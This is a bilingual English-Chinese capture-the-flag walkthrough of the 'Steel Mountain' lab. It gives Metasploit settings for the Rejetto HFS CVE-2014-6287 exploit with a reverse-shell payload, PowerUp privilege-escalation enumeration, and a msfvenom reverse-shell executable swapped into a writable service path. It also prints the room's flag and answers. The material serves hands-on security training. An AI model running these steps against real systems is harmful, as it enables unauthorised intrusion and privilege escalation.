Offensive Pentesting-Steel Mountain
Offensive Pentesting-Steel Mountain
Hack into a Mr. Robot themed Windows machine. Use metasploit for initial access, utilise powershell for Windows privilege escalation enumeration and learn a new technique to get Administrator access.
Introduction
n this room you will enumerate a Windows machine, gain initial access with Metasploit, use Powershell to further enumerate the machine and escalate your privileges to Administrator.
If you don't have the right security tools and environment, deploy your own Kali Linux machine and control it in your browser, with our Kali Room.
Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up.
在这个房间里,您将列举一台 Windows 计算机,使用 Metasploit 获得初始访问权限,使用 Powershell 进一步列举该计算机,并将您的权限升级到管理员。
如果您没有合适的安全工具和环境,请部署您自己的 Kali Linux 机器并使用我们的 Kali Room 在浏览器中对其进行控制。
请注意,此计算机不响应 ping (ICMP),可能需要几分钟才能启动。
和上一台hackpark一样 是不响应ICMP的 我们先来扫端口
这里可以发现是有两个web服务 一个在80端口 一个在8080端口
先访问80端口
看到有一个月度员工的图片 打开看到图片名为BillHarper 也就是这位月度员工的名字
谁是本月最佳员工?
Bill Harper
Initial Access
Scan the machine with nmap. What is the other port running a web server on?
8080
上面已经提到 另一台web服务开放在8080端口上 我们来访问一下
可以看到是一个HFS2.3的网站
因为答案给的格式是******* **** **** ******
所以我们在HTTP File Server前面加上Rejetto
Take a look at the other web server. What file server is running?
Rejetto HTTP File Server
对于这个版本的漏洞 可以搜一下 主要是一个2024年的一个2014年的 这个靶机应该不是今年才出的 那应该是这个14年的洞
What is the CVE number to exploit this file server?
2014-6287
既然我们现在已经知道了漏洞的版本号 我们可以直接使用msfconsole来获取shell
set RHOST 10.10.167.60
set RPOST 8080
set payload windows/meterpreter/reverse_tcp
set LHOST 10.14.92.176
set LPORT 4444
set SRVPORT 1234
exploit
shell
Use Metasploit to get an initial shell. What is the user flag?
b04763b6fcf51fcd7c13abc7db4fd365
Privilege Escalation
我们这里提权使用名为PowerUp 的 powershell 脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
我们先在msfconsole里面使用upload命令上传这个脚本 输入exit或者键入ctrl C都可以 先退出当前的shell
upload /home/w3nx1z1/桌面/thm/offensivepentesting/Steel\ Mountain/PowerUp.ps1
load powershell
powershell_shell
. .\PowerUp.ps1
Invoke-AllChecks
Invoke-AllChecks 是一个典型的 PowerShell 脚本或函数的名称,常用于信息安全领域。具体作用取决于它的上下文,但在渗透测试和防御评估中,它通常与权限提升(Privilege Escalation)检查相关。
通常情况下,它可能属于以下工具之一:
PowerUp 模块的一部分:PowerUp 是 PowerSploit 框架中的一个模块,用于在 Windows 系统上查找权限提升的潜在漏洞。
Invoke-AllChecks 是 PowerUp 中的一个函数,用于运行一系列自动化的安全检查来发现系统配置的弱点,比如不安全的服务权限、不安全的注册表键、或可以利用的文件系统权限。
请密切注意设置为 true 的 CanRestart 选项。显示为未加引号的服务路径漏洞的服务名称是什么?
AdvancedSystemCareService9
如果 CanRestart 选项为 true,则允许我们重新启动系统上的服务,应用程序的目录也是可写的。这意味着我们可以用我们的恶意应用程序替换合法应用程序,重新启动服务,这将运行我们受感染的程序!
使用 msfvenom 生成反向 shell 作为 Windows 可执行文件。
msfvenom -p windows/shell_reverse_tcp LHOST=10.14.92.176 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
此时我们在回到刚才的PS会话中 键入Ctrl C先退出 上传我们上面生成的反向shell程序
upload /home/w3nx1z1/桌面/thm/offensivepentesting/Steel\ Mountain/ASCService.exe
shell
sc qc AdvancedSystemCareService9 # 查看一个服务的详细配置信息。
sc stop AdvancedSystemCareService9 # 停止一个服务
opy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" # 将我们上传的反弹shell的可执行程序覆盖掉原有的服务的程序
sc start AdvancedSystemCareService9 # 重启这个服务 也就是运行我们上传的反弹shell程序
同时我们需要在另一个终端中开启一个监听端口 使用我们上面制作反弹shell的程序时的端口 重启服务后 发现成功反弹到了管理员权限的shell 进一步读取root权限的flag
我们可以运行什么 powershell -c 命令来手动查找服务名称?
格式为 “powershell -c ”command here“
powershell -c "Get-Service"